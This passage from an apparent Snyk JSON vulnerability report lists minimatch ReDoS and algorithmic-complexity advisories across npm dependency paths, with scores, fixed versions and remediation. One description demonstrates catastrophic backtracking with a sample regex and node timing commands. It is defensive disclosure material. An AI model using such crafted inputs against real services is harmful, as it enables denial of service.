14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": 